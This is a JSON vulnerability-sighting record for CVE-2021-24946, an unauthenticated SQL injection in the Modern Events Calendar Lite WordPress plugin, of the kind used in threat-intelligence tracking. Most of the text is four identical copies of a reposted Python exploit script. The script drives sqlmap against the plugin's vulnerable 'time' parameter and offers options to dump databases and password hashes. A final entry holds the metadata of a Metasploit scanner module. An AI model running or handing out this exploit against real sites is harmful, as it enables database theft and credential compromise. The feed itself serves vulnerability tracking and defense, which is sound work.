{"vulnerability": "CVE-2021-24946", "sightings": [{"uuid": "d2287e6d-960f-4a80-acce-f7800d4abee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24946", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "83c8db57-7298-460e-97d9-33f449b0609a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24946", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:35.000000Z"}, {"uuid": "25f3cf85-0b5b-406f-87f3-4e5657d3a9dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24946", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb", "content": "", "creation_timestamp": "2022-02-28T18:48:53.000000Z"}, {"uuid": "01530cbd-6295-4d7f-9d82-d973eec13f90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24946", "type": "seen", "source": "https://t.me/hacking_Attack/40449", "content": "Exploit Collector\nWordPress Modern Events Calendar 6.1 SQL Injection\n\nhttps://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png WordPress Modern Events Calendar plugin versions 6.1 and below suffer from an unauthenticated remote SQL injection vulnerability.\n\nMD5 | 072f2b4d4bc04c1eb3516c69bee38723Download # Exploit Title: WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)\n# Date 26.01.2022\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://webnus.net/modern-events-calendar/\n# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip\n# Version: <=\n# Tested on: Ubuntu 20.04\n# CVE: CVE-2021-24946\n# CWE: CWE-89\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md\n\n'''\nDescription:\nThe Modern Events Calendar Lite WordPress plugin before 6.1.5 does not sanitise and escape the time parameter\nbefore using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users,\nleading to an unauthenticated SQL injection issue\n'''\n\n#Banner:\nbanner = '''\n\n.oOOOo.  o      'O o.OOoOoo \n.O     o  O       o  O                 .oOOo. .oOOo. .oOOo.  oO             .oOOo. o   O  .oOOo. o   O  .oOOo. \no         o       O  o                      O O    o      O   O                  O O   o  O    o O   o  O \no         o       o  ooOO                   o o    O      o   o                  o o   o  o    O o   o  o \no         O      O'  O       ooooooooo     O' o    o     O'   O   ooooooooo     O' OooOOo `OooOo OooOOo OoOOo. \nO         `o    o    o                    O   O    O    O     o                O       O       O     O  O    O \n`o     .o  `o  O     O                  .O    o    O  .O      O              .O        o       o     o  O    o \n`OoooO'    `o'     ooOooOoO           oOoOoO `OooO' oOoOoO OooOO           oOoOoO     O  `OooO'     O  `OooO' \n\n[+] Modern Events Calendar Lite SQL-Injection\n[@] Developed by Ron Jost (Hacker5preme)\n\n'''\n\nprint(banner)\n\nimport requests\nimport argparse\nfrom datetime import datetime\nimport os\n\n# User-Input:\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calendar SQL-Injection (unauthenticated)')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\n# Exploit:\nprint('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))\nprint('[*] Payload for SQL-Injection:')\nexploitcode_url = r'sqlmap \"http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin-ajax.php?action=mec_load_single_page&time=2\" '\nexploitcode_risk = ' -p time'\nprint('    Sqlmap options:')\nprint('     -a, --all           Retrieve everything')\nprint('     -b, --banner        Retrieve DBMS banner')\nprint('     --current-user      Retrieve DBMS current user')\nprint('     --current-db        Retrieve DBMS current database')\nprint('     --passwords         Enumerate DBMS users password hashes')\nprint('     --tables            Enumerate DBMS database tables')\nprint('     --columns           Enumerate DBMS database table column')\nprint('     --schema            Enumerate DBMS schema')\nprint('     --dump              Dump DBMS database table entries')\nprint('     --dump-all          Dump all DBMS databases tables entries')\nretrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')\nexploitcode = exploitcode_url +  retrieve_mode + exploitcode_risk\nos.system(exploitcode)\nprint('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S'))) Source:packetst[...]", "creation_timestamp": "2026-09-01T20:01:58.255084Z"}, {"uuid": "a9a0d221-4db4-4390-9b11-349816fe983e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24946", "type": "seen", "source": "https://t.me/hacking_Attack/40449", "content": "Exploit Collector\nWordPress Modern Events Calendar 6.1 SQL Injection\n\nhttps://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png WordPress Modern Events Calendar plugin versions 6.1 and below suffer from an unauthenticated remote SQL injection vulnerability.\n\nMD5 | 072f2b4d4bc04c1eb3516c69bee38723Download # Exploit Title: WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)\n# Date 26.01.2022\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://webnus.net/modern-events-calendar/\n# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip\n# Version: <=\n# Tested on: Ubuntu 20.04\n# CVE: CVE-2021-24946\n# CWE: CWE-89\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md\n\n'''\nDescription:\nThe Modern Events Calendar Lite WordPress plugin before 6.1.5 does not sanitise and escape the time parameter\nbefore using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users,\nleading to an unauthenticated SQL injection issue\n'''\n\n#Banner:\nbanner = '''\n\n.oOOOo.  o      'O o.OOoOoo \n.O     o  O       o  O                 .oOOo. .oOOo. .oOOo.  oO             .oOOo. o   O  .oOOo. o   O  .oOOo. \no         o       O  o                      O O    o      O   O                  O O   o  O    o O   o  O \no         o       o  ooOO                   o o    O      o   o                  o o   o  o    O o   o  o \no         O      O'  O       ooooooooo     O' o    o     O'   O   ooooooooo     O' OooOOo `OooOo OooOOo OoOOo. \nO         `o    o    o                    O   O    O    O     o                O       O       O     O  O    O \n`o     .o  `o  O     O                  .O    o    O  .O      O              .O        o       o     o  O    o \n`OoooO'    `o'     ooOooOoO           oOoOoO `OooO' oOoOoO OooOO           oOoOoO     O  `OooO'     O  `OooO' \n\n[+] Modern Events Calendar Lite SQL-Injection\n[@] Developed by Ron Jost (Hacker5preme)\n\n'''\n\nprint(banner)\n\nimport requests\nimport argparse\nfrom datetime import datetime\nimport os\n\n# User-Input:\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calendar SQL-Injection (unauthenticated)')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\n# Exploit:\nprint('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))\nprint('[*] Payload for SQL-Injection:')\nexploitcode_url = r'sqlmap \"http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin-ajax.php?action=mec_load_single_page&time=2\" '\nexploitcode_risk = ' -p time'\nprint('    Sqlmap options:')\nprint('     -a, --all           Retrieve everything')\nprint('     -b, --banner        Retrieve DBMS banner')\nprint('     --current-user      Retrieve DBMS current user')\nprint('     --current-db        Retrieve DBMS current database')\nprint('     --passwords         Enumerate DBMS users password hashes')\nprint('     --tables            Enumerate DBMS database tables')\nprint('     --columns           Enumerate DBMS database table column')\nprint('     --schema            Enumerate DBMS schema')\nprint('     --dump              Dump DBMS database table entries')\nprint('     --dump-all          Dump all DBMS databases tables entries')\nretrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')\nexploitcode = exploitcode_url +  retrieve_mode + exploitcode_risk\nos.system(exploitcode)\nprint('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S'))) Source:packetst[...]", "creation_timestamp": "2026-09-02T01:02:20.684235Z"}, {"uuid": "22ae883d-35f2-469a-ad3d-717ff2f206ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24946", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40449", "content": "Exploit Collector\nWordPress Modern Events Calendar 6.1 SQL Injection\n\nhttps://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png WordPress Modern Events Calendar plugin versions 6.1 and below suffer from an unauthenticated remote SQL injection vulnerability.\n\nMD5 | 072f2b4d4bc04c1eb3516c69bee38723Download # Exploit Title: WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)\n# Date 26.01.2022\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://webnus.net/modern-events-calendar/\n# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip\n# Version: <=\n# Tested on: Ubuntu 20.04\n# CVE: CVE-2021-24946\n# CWE: CWE-89\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md\n\n'''\nDescription:\nThe Modern Events Calendar Lite WordPress plugin before 6.1.5 does not sanitise and escape the time parameter\nbefore using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users,\nleading to an unauthenticated SQL injection issue\n'''\n\n#Banner:\nbanner = '''\n\n.oOOOo.  o      'O o.OOoOoo \n.O     o  O       o  O                 .oOOo. .oOOo. .oOOo.  oO             .oOOo. o   O  .oOOo. o   O  .oOOo. \no         o       O  o                      O O    o      O   O                  O O   o  O    o O   o  O \no         o       o  ooOO                   o o    O      o   o                  o o   o  o    O o   o  o \no         O      O'  O       ooooooooo     O' o    o     O'   O   ooooooooo     O' OooOOo `OooOo OooOOo OoOOo. \nO         `o    o    o                    O   O    O    O     o                O       O       O     O  O    O \n`o     .o  `o  O     O                  .O    o    O  .O      O              .O        o       o     o  O    o \n`OoooO'    `o'     ooOooOoO           oOoOoO `OooO' oOoOoO OooOO           oOoOoO     O  `OooO'     O  `OooO' \n\n[+] Modern Events Calendar Lite SQL-Injection\n[@] Developed by Ron Jost (Hacker5preme)\n\n'''\n\nprint(banner)\n\nimport requests\nimport argparse\nfrom datetime import datetime\nimport os\n\n# User-Input:\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calendar SQL-Injection (unauthenticated)')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\n# Exploit:\nprint('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))\nprint('[*] Payload for SQL-Injection:')\nexploitcode_url = r'sqlmap \"http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin-ajax.php?action=mec_load_single_page&time=2\" '\nexploitcode_risk = ' -p time'\nprint('    Sqlmap options:')\nprint('     -a, --all           Retrieve everything')\nprint('     -b, --banner        Retrieve DBMS banner')\nprint('     --current-user      Retrieve DBMS current user')\nprint('     --current-db        Retrieve DBMS current database')\nprint('     --passwords         Enumerate DBMS users password hashes')\nprint('     --tables            Enumerate DBMS database tables')\nprint('     --columns           Enumerate DBMS database table column')\nprint('     --schema            Enumerate DBMS schema')\nprint('     --dump              Dump DBMS database table entries')\nprint('     --dump-all          Dump all DBMS databases tables entries')\nretrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')\nexploitcode = exploitcode_url +  retrieve_mode + exploitcode_risk\nos.system(exploitcode)\nprint('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S'))) Source:packetst[...]", "creation_timestamp": "2026-09-06T12:00:06.365708Z"}, {"uuid": "6e027453-a876-4fd6-ae18-477238e1d561", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24946", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40449", "content": "Exploit Collector\nWordPress Modern Events Calendar 6.1 SQL Injection\n\nhttps://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png WordPress Modern Events Calendar plugin versions 6.1 and below suffer from an unauthenticated remote SQL injection vulnerability.\n\nMD5 | 072f2b4d4bc04c1eb3516c69bee38723Download # Exploit Title: WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)\n# Date 26.01.2022\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://webnus.net/modern-events-calendar/\n# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip\n# Version: <=\n# Tested on: Ubuntu 20.04\n# CVE: CVE-2021-24946\n# CWE: CWE-89\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md\n\n'''\nDescription:\nThe Modern Events Calendar Lite WordPress plugin before 6.1.5 does not sanitise and escape the time parameter\nbefore using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users,\nleading to an unauthenticated SQL injection issue\n'''\n\n#Banner:\nbanner = '''\n\n.oOOOo.  o      'O o.OOoOoo \n.O     o  O       o  O                 .oOOo. .oOOo. .oOOo.  oO             .oOOo. o   O  .oOOo. o   O  .oOOo. \no         o       O  o                      O O    o      O   O                  O O   o  O    o O   o  O \no         o       o  ooOO                   o o    O      o   o                  o o   o  o    O o   o  o \no         O      O'  O       ooooooooo     O' o    o     O'   O   ooooooooo     O' OooOOo `OooOo OooOOo OoOOo. \nO         `o    o    o                    O   O    O    O     o                O       O       O     O  O    O \n`o     .o  `o  O     O                  .O    o    O  .O      O              .O        o       o     o  O    o \n`OoooO'    `o'     ooOooOoO           oOoOoO `OooO' oOoOoO OooOO           oOoOoO     O  `OooO'     O  `OooO' \n\n[+] Modern Events Calendar Lite SQL-Injection\n[@] Developed by Ron Jost (Hacker5preme)\n\n'''\n\nprint(banner)\n\nimport requests\nimport argparse\nfrom datetime import datetime\nimport os\n\n# User-Input:\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calendar SQL-Injection (unauthenticated)')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\n# Exploit:\nprint('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))\nprint('[*] Payload for SQL-Injection:')\nexploitcode_url = r'sqlmap \"http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin-ajax.php?action=mec_load_single_page&time=2\" '\nexploitcode_risk = ' -p time'\nprint('    Sqlmap options:')\nprint('     -a, --all           Retrieve everything')\nprint('     -b, --banner        Retrieve DBMS banner')\nprint('     --current-user      Retrieve DBMS current user')\nprint('     --current-db        Retrieve DBMS current database')\nprint('     --passwords         Enumerate DBMS users password hashes')\nprint('     --tables            Enumerate DBMS database tables')\nprint('     --columns           Enumerate DBMS database table column')\nprint('     --schema            Enumerate DBMS schema')\nprint('     --dump              Dump DBMS database table entries')\nprint('     --dump-all          Dump all DBMS databases tables entries')\nretrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')\nexploitcode = exploitcode_url +  retrieve_mode + exploitcode_risk\nos.system(exploitcode)\nprint('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S'))) Source:packetst[...]", "creation_timestamp": "2026-09-07T01:00:15.560084Z"}, {"uuid": "2833c98a-b9f6-4573-834f-b88e2425ccb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24946", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb", "content": "{\"actions\": [{\"description\": \"Queries username, password hash for COUNT users\", \"name\": \"List Users\"}], \"aliases\": [], \"arch\": \"\", \"author\": [\"h00die\", \"Hacker5preme (Ron Jost)\", \"red0xff\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in\\n          versions before 6.1.5.  The time parameter is vulnerable to injection.\", \"disclosure_date\": \"2021-12-13\", \"fullname\": \"auxiliary/scanner/http/wp_modern_events_calendar_sqli\", \"is_install_path\": true, \"mod_time\": \"2023-04-12 13:09:34 +0000\", \"name\": \"WordPress Modern Events Calendar SQLi Scanner\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"scanner/http/wp_modern_events_calendar_sqli\", \"references\": [\"EDB-50687\", \"CVE-2021-24946\", \"URL-https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md\", \"WPVDB-09871847-1d6a-4dfe-8a8c-f2f53ff87445\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:57.879272Z"}]}